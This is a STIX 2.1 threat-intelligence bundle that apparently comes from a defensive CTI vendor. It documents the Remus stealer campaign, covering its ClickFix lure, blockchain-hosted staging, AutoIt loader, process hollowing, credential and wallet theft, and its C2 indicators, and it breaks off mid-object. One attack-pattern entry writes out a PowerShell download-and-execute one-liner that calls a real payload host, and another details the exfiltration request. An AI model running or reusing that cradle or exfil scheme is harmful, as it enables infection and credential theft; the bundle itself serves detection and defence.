{
    "type": "bundle",
    "id": "bundle--bdd71082-5fb2-40b6-82f9-a8552aea2fc8",
    "objects": [
        {
            "type": "identity",
            "spec_version": "2.1",
            "id": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.736229Z",
            "modified": "2026-09-02T03:14:39.736229Z",
            "name": "Dispensight / SecureLeaf",
            "description": "Defensive CTI \u2014 secureleaf.dispensight.com",
            "identity_class": "organization"
        },
        {
            "type": "malware",
            "spec_version": "2.1",
            "id": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.736591Z",
            "modified": "2026-09-02T03:14:39.736591Z",
            "name": "Remus Stealer (WP-002)",
            "description": "WP-002 terminal payload. Native x64 core injected fileless into a hollowed browser process; managed .NET collection component. Durable RSA-1024 CAPI C2 handshake key (modulus SHA-256 dc4cb858\u2026febfac6f, e=65537), runtime-resolved in the PowerShell stage \u2014 not embedded in the static a3x.",
            "malware_types": [
                "spyware",
                "stealer"
            ],
            "is_family": true,
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4ee5584d-24c1-5b81-bebe-c8965953b23b",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.7373Z",
            "modified": "2026-09-02T03:14:39.7373Z",
            "name": "ClickFix (paste-and-run)",
            "description": "Fake Cloudflare Turnstile 'verification' page instructs victim Win+R -> Ctrl+V -> OK, executing a clipboard-poisoned PowerShell one-liner.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1204.004"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8aa7ed1b-a02f-5a78-9ff5-9aeac9cf53e8",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.737574Z",
            "modified": "2026-09-02T03:14:39.737574Z",
            "name": "EtherHiding (blockchain-hosted stage)",
            "description": "BSC-testnet smart contract 0xae5d8eec\u202608034 (selector 0xe2179b8e) returns base64 JS that appends the asseload.com widget loader.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1102"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--22efb52c-523e-5ddb-b47e-71349c9dfae8",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.737752Z",
            "modified": "2026-09-02T03:14:39.737752Z",
            "name": "PowerShell IEX download-cradle",
            "description": "powershell -w h -c iex(New-Object Net.WebClient).DownloadString(hxxp://193.221.200.66:4139/tools/soft/coms)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b0f1ec37-689a-5888-83e0-f1d64ec4620b",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.737911Z",
            "modified": "2026-09-02T03:14:39.737911Z",
            "name": "IExpress SFX + AutoIt loader",
            "description": "IntroductionChassis.exe (IExpress SFX) drops legit AutoIt3.exe + compiled Corpus.a3x; AutoIt3.exe executes the packed a3x.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d8a41404-841c-5199-b96b-51214793f2ed",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.738095Z",
            "modified": "2026-09-02T03:14:39.738095Z",
            "name": "Process hollowing",
            "description": "AutoIt loader injects the native Remus core into a hollowed browser process at 0x140000000 via SetThreadContext/WriteProcessMemory.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.012"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--645ac42c-f600-57e4-8854-a190bb398dd3",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.738365Z",
            "modified": "2026-09-02T03:14:39.738365Z",
            "name": "Browser/credential collection",
            "description": "Managed .NET component reads browser profile data and credential stores; Firefox profile access observed.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555.003"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fce0929a-efa9-5d0d-8c3e-aeff83953378",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.738579Z",
            "modified": "2026-09-02T03:14:39.738579Z",
            "name": "Cryptocurrency wallet collection",
            "description": "Enumerates cryptocurrency wallet files/directories for harvesting.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1005"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7c310323-a39f-524b-a299-8bdd3188d9c8",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.73876Z",
            "modified": "2026-09-02T03:14:39.73876Z",
            "name": "HTTP exfiltration (github.com host-spoof)",
            "description": "POST /invoices to 209.38.82.72:9048, Host: github.com spoof. Body schema variant-1 access_token/debug, variant-2 tag/exp/hwid. 'chunk-' framing prefix in native core.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1071.001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1f7ca2be-41aa-50c1-83e4-0de0bf23cef7",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.738933Z",
            "modified": "2026-09-02T03:14:39.738933Z",
            "name": "Scheduled task persistence",
            "description": "Task Scheduler COM API / at.exe invocation for persistence.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.005"
                }
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "infrastructure",
            "spec_version": "2.1",
            "id": "infrastructure--48e22724-14b7-502e-9960-1ebb02f8eb05",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.739055Z",
            "modified": "2026-09-02T03:14:39.739055Z",
            "name": "dorz.nl (compromised lure)",
            "description": "Compromised WordPress/Elementor host serving ClickFix. VICTIM \u2014 splitcam: never blocklist.",
            "infrastructure_types": [
                "hosting-target-lists"
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "infrastructure",
            "spec_version": "2.1",
            "id": "infrastructure--d9d7e354-d7d8-5443-8a63-b1a55cea1d19",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.739201Z",
            "modified": "2026-09-02T03:14:39.739201Z",
            "name": "asseload.com widget staging",
            "description": "Cloudflare-fronted ClickFix widget stager: aps.js -> a/9f2b4d03635c.js (XOR key oipCQd0DIbeF).",
            "infrastructure_types": [
                "command-and-control"
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "infrastructure",
            "spec_version": "2.1",
            "id": "infrastructure--f4349a82-f96b-57df-8a4b-4730dd7ef6fa",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.73939Z",
            "modified": "2026-09-02T03:14:39.73939Z",
            "name": "193.221.200.66:4139 payload host",
            "description": "uvicorn/web; serves PowerShell dropper /tools/soft/coms and ZIP /tools/soft/file.",
            "infrastructure_types": [
                "command-and-control"
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "infrastructure",
            "spec_version": "2.1",
            "id": "infrastructure--27db47d5-a5e1-553e-9b57-9782ab927232",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.739549Z",
            "modified": "2026-09-02T03:14:39.739549Z",
            "name": "Remus C2 209.38.82.72:9048",
            "description": "POST /invoices, Host: github.com spoof. Domains: cdire.shop (and prior). Confirmed across two waves.",
            "infrastructure_types": [
                "command-and-control"
            ],
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--be3758b2-7209-5273-bf1c-15c5e9d182bd",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.739677Z",
            "modified": "2026-09-02T03:14:39.739677Z",
            "name": "Remus C2 IP",
            "description": "C2 endpoint :9048 /invoices",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[ipv4-addr:value = '209.38.82.72']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.739677Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--3d1a8918-8360-561f-9558-99032bc242cb",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.744404Z",
            "modified": "2026-09-02T03:14:39.744404Z",
            "name": "C2 domain cdire.shop",
            "description": "Resolves 209.38.82.72",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[domain-name:value = 'cdire.shop']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.744404Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--6925510a-ab14-5c3f-b3e4-65f4207050e6",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.745728Z",
            "modified": "2026-09-02T03:14:39.745728Z",
            "name": "Stager asseload.com",
            "description": "ClickFix widget host",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[domain-name:value = 'asseload.com']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.745728Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--6f4e48e6-7d0d-597c-92ba-12f1e0309600",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.74655Z",
            "modified": "2026-09-02T03:14:39.74655Z",
            "name": "Payload host 193.221.200.66",
            "description": "PS dropper + ZIP",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[ipv4-addr:value = '193.221.200.66']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.74655Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--bcac4e93-ec79-5cb2-8066-5527f0804aa7",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.747135Z",
            "modified": "2026-09-02T03:14:39.747135Z",
            "name": "Lure dorz.nl",
            "description": "Compromised lure \u2014 victim context, do not block",
            "indicator_types": [
                "benign",
                "compromised"
            ],
            "pattern": "[domain-name:value = 'dorz.nl']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.747135Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--6695b7b0-8a6f-5507-b843-2679b4147a27",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.747804Z",
            "modified": "2026-09-02T03:14:39.747804Z",
            "name": "IntroductionChassis.exe SFX",
            "description": "IExpress SFX dropper",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[file:hashes.'SHA-256' = '2a1d78fb02d047605ac2400b18e4bc902fe752bde24ccee0aa5c46def9787680']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.747804Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--8e9bce63-50f6-559a-bb8b-a5d46fcaf0a2",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.751061Z",
            "modified": "2026-09-02T03:14:39.751061Z",
            "name": "Corpus.a3x",
            "description": "Compiled AutoIt payload (packed)",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[file:hashes.'SHA-256' = '74a517b6b24b47a45101af70b9c5ca3572502e3e027fd69badc8dc3757a4a67f']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.751061Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--2e948793-58f2-59f9-8516-f71fd65b3bfe",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.751794Z",
            "modified": "2026-09-02T03:14:39.751794Z",
            "name": "Native core .text",
            "description": "Terminal native Remus core, .text section (fileless, injected @0x140000000)",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[file:hashes.'SHA-256' = 'eba3f014bd57d992c69a56854c0f8ac07b665d2721053edd88db144e5814c138']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.751794Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "indicator",
            "spec_version": "2.1",
            "id": "indicator--1632dbac-b073-5279-bc26-dd41ceb1bc65",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.752453Z",
            "modified": "2026-09-02T03:14:39.752453Z",
            "name": "Exfil URI pattern",
            "description": "POST /invoices with github.com host spoof",
            "indicator_types": [
                "malicious-activity"
            ],
            "pattern": "[network-traffic:extensions.'http-request-ext'.request_value = '/invoices']",
            "pattern_type": "stix",
            "pattern_version": "2.1",
            "external_references": [
                {
                    "source_name": "SecureLeaf",
                    "description": "v15.1 \u2014 Remus stealer via ClickFix/EtherHiding",
                    "external_id": "SL-ADV-2026-WP-001"
                }
            ],
            "valid_from": "2026-09-02T03:14:39.752453Z",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--0e5afcd1-4f2e-54ed-aec1-479389cc693e",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.754746Z",
            "modified": "2026-09-02T03:14:39.754746Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--be3758b2-7209-5273-bf1c-15c5e9d182bd",
            "target_ref": "infrastructure--27db47d5-a5e1-553e-9b57-9782ab927232",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--6bf7ede7-53d1-5b32-97dc-e3f20a5e012e",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.754986Z",
            "modified": "2026-09-02T03:14:39.754986Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--3d1a8918-8360-561f-9558-99032bc242cb",
            "target_ref": "infrastructure--27db47d5-a5e1-553e-9b57-9782ab927232",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--84227192-4450-5df6-8b00-9872a7b7135c",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.755212Z",
            "modified": "2026-09-02T03:14:39.755212Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--6925510a-ab14-5c3f-b3e4-65f4207050e6",
            "target_ref": "infrastructure--d9d7e354-d7d8-5443-8a63-b1a55cea1d19",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--bc93bf87-0ace-5374-8871-166c77d430a5",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.755456Z",
            "modified": "2026-09-02T03:14:39.755456Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--6f4e48e6-7d0d-597c-92ba-12f1e0309600",
            "target_ref": "infrastructure--f4349a82-f96b-57df-8a4b-4730dd7ef6fa",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b4b59884-63ef-5033-97ca-84c398f8c073",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.755637Z",
            "modified": "2026-09-02T03:14:39.755637Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--bcac4e93-ec79-5cb2-8066-5527f0804aa7",
            "target_ref": "infrastructure--48e22724-14b7-502e-9960-1ebb02f8eb05",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--c6cb500b-b0b5-5204-876e-114ed0b9d7bf",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.755814Z",
            "modified": "2026-09-02T03:14:39.755814Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--6695b7b0-8a6f-5507-b843-2679b4147a27",
            "target_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--e2139a8f-d302-5503-a10d-9a6773b39f43",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.755992Z",
            "modified": "2026-09-02T03:14:39.755992Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--8e9bce63-50f6-559a-bb8b-a5d46fcaf0a2",
            "target_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--fe1a7e38-8aee-5776-b884-29ff0ee48784",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.756211Z",
            "modified": "2026-09-02T03:14:39.756211Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--2e948793-58f2-59f9-8516-f71fd65b3bfe",
            "target_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--cfad8157-8f14-5419-8d7b-2cef432fe79f",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.756429Z",
            "modified": "2026-09-02T03:14:39.756429Z",
            "relationship_type": "indicates",
            "source_ref": "indicator--1632dbac-b073-5279-bc26-dd41ceb1bc65",
            "target_ref": "infrastructure--27db47d5-a5e1-553e-9b57-9782ab927232",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--a7a5778c-0ce6-54ff-a7eb-9ff418bd3352",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.756567Z",
            "modified": "2026-09-02T03:14:39.756567Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--4ee5584d-24c1-5b81-bebe-c8965953b23b",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--59646a46-bb9a-5898-9087-dd554e5b8bf9",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.756697Z",
            "modified": "2026-09-02T03:14:39.756697Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--8aa7ed1b-a02f-5a78-9ff5-9aeac9cf53e8",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--9a1a8603-be2f-5908-82e2-c0571a84c039",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.756844Z",
            "modified": "2026-09-02T03:14:39.756844Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--22efb52c-523e-5ddb-b47e-71349c9dfae8",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--0279f565-2ff3-5cd2-9d2e-22980c5112e6",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.756993Z",
            "modified": "2026-09-02T03:14:39.756993Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--b0f1ec37-689a-5888-83e0-f1d64ec4620b",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--da4509d5-fbb0-529c-a4f6-156d8a5af4f6",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.757128Z",
            "modified": "2026-09-02T03:14:39.757128Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--d8a41404-841c-5199-b96b-51214793f2ed",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--79f2a093-e71d-532b-8d43-996d5ef42d58",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.757251Z",
            "modified": "2026-09-02T03:14:39.757251Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--645ac42c-f600-57e4-8854-a190bb398dd3",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5cd80da7-7a17-5bae-971c-27d62a1e2550",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.757486Z",
            "modified": "2026-09-02T03:14:39.757486Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--fce0929a-efa9-5d0d-8c3e-aeff83953378",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b8253146-43f0-5691-a66f-31d6438270e8",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.757655Z",
            "modified": "2026-09-02T03:14:39.757655Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--7c310323-a39f-524b-a299-8bdd3188d9c8",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--48ea28e4-25a4-506e-ba83-87ab85ab566b",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.757775Z",
            "modified": "2026-09-02T03:14:39.757775Z",
            "relationship_type": "uses",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "attack-pattern--1f7ca2be-41aa-50c1-83e4-0de0bf23cef7",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--c6bbe9aa-e1e2-5af2-b9aa-e442db9c0306",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.757903Z",
            "modified": "2026-09-02T03:14:39.757903Z",
            "relationship_type": "consists-of",
            "description": "Lure loads EtherHiding->asseload widget",
            "source_ref": "infrastructure--48e22724-14b7-502e-9960-1ebb02f8eb05",
            "target_ref": "infrastructure--d9d7e354-d7d8-5443-8a63-b1a55cea1d19",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--3bdf6c81-2815-5b61-a5e3-153cd4b6c29d",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.758036Z",
